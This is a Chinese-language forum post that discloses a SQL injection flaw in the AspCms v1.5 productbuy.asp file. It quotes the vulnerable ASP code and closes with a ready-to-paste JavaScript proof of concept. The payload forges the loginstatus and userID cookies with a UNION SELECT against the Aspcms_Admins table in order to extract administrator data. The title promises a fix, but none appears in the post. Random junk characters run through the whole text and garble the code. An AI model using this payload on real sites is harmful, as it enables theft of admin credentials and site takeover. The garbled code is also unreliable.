标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页] 作者: admin 时间: 2012-12-27 08:35 标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 好久没上土司了,上来一看发现在删号名单内.....6 U- ^4 |$ \7 K* r7 p, B
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。: e( D% S+ a2 a0 L A
废话不多说,看代码: 1 w5 `8 \9 ?7 _6 U , k ~* K: a! L. @. Q. f" X<% " ~# Z4 A3 y' f, V9 k, d7 w5 b3 Z . K" b: x/ e4 R* `, Mif action = "buy" then% c0 p4 L5 D2 I" Y
! \2 x: H4 c" d! R2 K$ a; `6 n' L M, R
addOrder() % \$ W# y, V! f 2 e: k3 a9 V6 @/ z# b* g# E' J4 Felse F, e G$ C/ Y6 w1 g3 R7 T+ r; C8 u- F4 a- c# w+ n7 _! d( {
echoContent()' s- O9 A7 Z+ Q* |4 J) d
/ |& S' A1 w& q' B
end if 5 s" w3 O2 ?* G6 n 0 B: T! @( J4 [6 O$ c! g r7 ?# B5 j4 \+ O5 X/ y% }) }9 [
' O$ L0 r1 M7 e9 m$ |! t8 M, b3 s4 u6 q
……略过6 g8 A0 M. D, @% ~' _# o' N
, w# z2 w* E& p* [( [. A
! K5 L8 F; P2 b! y8 L+ K6 q% K2 [* q
! Q! d. G4 K1 O% }
Sub echoContent() : Z# }8 u5 m. L! U) D) Q) S+ m3 x, H- c4 i# ^
dim id! h# N5 ]( g, `& y y, B
: b) ~; |0 i+ i; w3 q1 Z id=getForm("id","get") ) j) |8 ^% d( r4 A' F4 H" k 4 H* x* c3 Z* {2 @ ; r$ t5 @/ ]: |$ J
( a. M% [% Z3 j, u) Q, u if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 0 K# D+ f9 f( D8 M0 }: A% i
) w: k0 R/ v. Z0 e! y8 ~
: @5 f6 ?3 \- ^* Y8 c
+ y3 W2 l+ O. ~4 j f% `
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")9 g8 t- B- `- E9 c& ^+ P8 G$ I
% b# P5 E7 F. M) ]. u6 E" L7 y2 a
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct / h; Y3 ^: @8 h3 _. Z: m6 A, \1 H% s: ` P7 @8 w( Y' T, |( |
Dim templatePath,tempStr: S t& i) \/ Q W6 S
7 q# D8 g1 T: z( L9 m- P c0 S templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"" S8 x- m. D' i+ T8 m5 z
8 _. n" j- O, |8 U/ F; C3 K 2 ? W7 T, ^! B; Y0 C 4 S3 ?- A& g6 i* r9 d+ a set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")+ q! R& e4 \( U8 g* W3 N( C( U
7 K4 {- `; J2 b. Z. O
selectproduct=rsObj(0)% s8 g% [2 N% P' T. x9 N* ^
4 X4 ^" `/ |- M" a ' n9 j% ^. a' x5 p& t2 S) h! V
+ e" q7 O1 V f/ b6 O* E8 y0 @
Dim linkman,gender,phone,mobile,email,qq,address,postcode ; A1 ~1 q: u) J! N6 `! E& p: L, M5 o. x6 ~3 T3 a
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0 : T0 U6 _+ y+ K* u8 m & G/ ]2 Q1 {- A" C; r; O if rCookie("loginstatus")=1 then 9 l2 ]7 ^3 A: _* m& U' J' A+ @ 0 ]6 K$ h! w) w set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1") ( ~1 M) M1 y5 `# y+ C4 ]& Z! p1 G3 E; C9 I1 O4 r, @! r' o& c5 g2 z' S
linkman=rsObj("truename") 6 N$ T' J" B7 z" e0 o7 Y* }* r+ v/ a* `
gender=rsObj("gender") 4 q( V& y# k9 Q8 J( K/ A1 z " s1 n( g) K3 X phone=rsObj("phone")2 `2 f% Y K) P+ R, C8 ?
8 C: ^0 k4 p1 ^. B2 x9 h qq=rsObj("qq") 0 X; R; W r* L1 j9 @; i+ y . h) \* d1 N0 q6 q2 h; `6 _ address=rsObj("address") , p- @# N% V$ [ Z4 P1 c( u. k& X. d; i1 E& m: W$ k. P7 l
postcode=rsObj("postcode")2 `" W% ]* n. d0 k+ p
& M0 \9 j2 U P, z
else $ T0 P+ |1 H2 \# y/ O7 V! f2 n, P j* J( V' |
gender=1& w: j% z0 [/ h/ S/ Y
. x( r. @7 r# Z" X. Z9 p' d
end if- `4 H4 E+ M/ A
C1 S( S6 L V rsObj.close()0 x- b4 y7 m o7 I& i
1 q, {6 |( e" A" P% K
/ R* B( g. @) a- g6 d
6 n2 y, C/ n9 r
with templateObj * |: Q$ V& ~! P `8 D! M
7 }6 @: X( r' d1 w% u: P2 f6 h
.content=loadFile(templatePath) 8 D$ p: d7 T! R ]' x4 s! w; `
@* p S: l8 Q0 t2 T+ T .parseHtml(): I3 Y) ^; Y6 {, l& _! Y4 [0 S, Q
$ F! t. }; @3 Q" c! W& [ .content=replaceStr(.content,"[aspcms:linkman]",linkman) / K; |+ P2 {3 o7 d6 x8 O# v 7 G- Q" `/ j- {, E' I .content=replaceStr(.content,"[aspcms:gender]",gender) 8 l \$ x1 g* ?: K9 [: E' A. S. B
0 C8 V. ^3 Q& |+ d: ~ .content=replaceStr(.content,"[aspcms:phone]",phone) ' s8 l3 S; W' B7 I. C 3 ^$ p" N; U* t* l F .content=replaceStr(.content,"[aspcms:mobile]",mobile) $ ~% L6 j+ i! U+ R( T # r8 R9 h' e5 [0 w$ y .content=replaceStr(.content,"[aspcms:email]",email) 7 ]8 M) |7 U) K5 [& [8 C }8 \
/ V, `0 l- |. m4 ]$ f/ o6 Z6 z
.content=replaceStr(.content,"[aspcms:qq]",qq) / C, n4 L# L2 E6 k3 h! T; s# S! J1 E 5 a5 }2 w M( G j5 W. j2 ^ .content=replaceStr(.content,"[aspcms:address]",address) q! {! @9 f) c6 L! O' A6 {3 n: ? 5 S- w$ ~( J8 Q0 E0 _' x9 w .content=replaceStr(.content,"[aspcms:postcode]",postcode) 8 v4 ^; R& F7 \: ]* j7 D0 w2 o7 ^; O" d. Y, L. H
.parseCommon() & \7 z: W7 Z/ C2 Y# L7 u
V2 b- O- C1 Q D, z5 Q8 P
echo .content / n% O U3 S5 j0 P1 ^& b' @) [5 _4 k
end with + {& O' R' D3 \; n0 {' W e9 M : M7 u, ]! l* @/ ] set templateobj =nothing : terminateAllObjects( M3 T8 v! ^5 W2 H, a
- P a9 c) l) M& `1 LEnd Sub ; [8 W- ~+ L& p& s) ^- N+ R漏洞很明显,没啥好说的 ' [( s1 |6 d8 k9 l( v* npoc:6 I6 ?7 I# a) d9 K
2 s. j# A2 b! r6 b) B3 A1 m# vjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子 2 W; ]8 w. e$ _& K8 n" { 4 _) D0 ^2 j9 u6 J' w( Q, i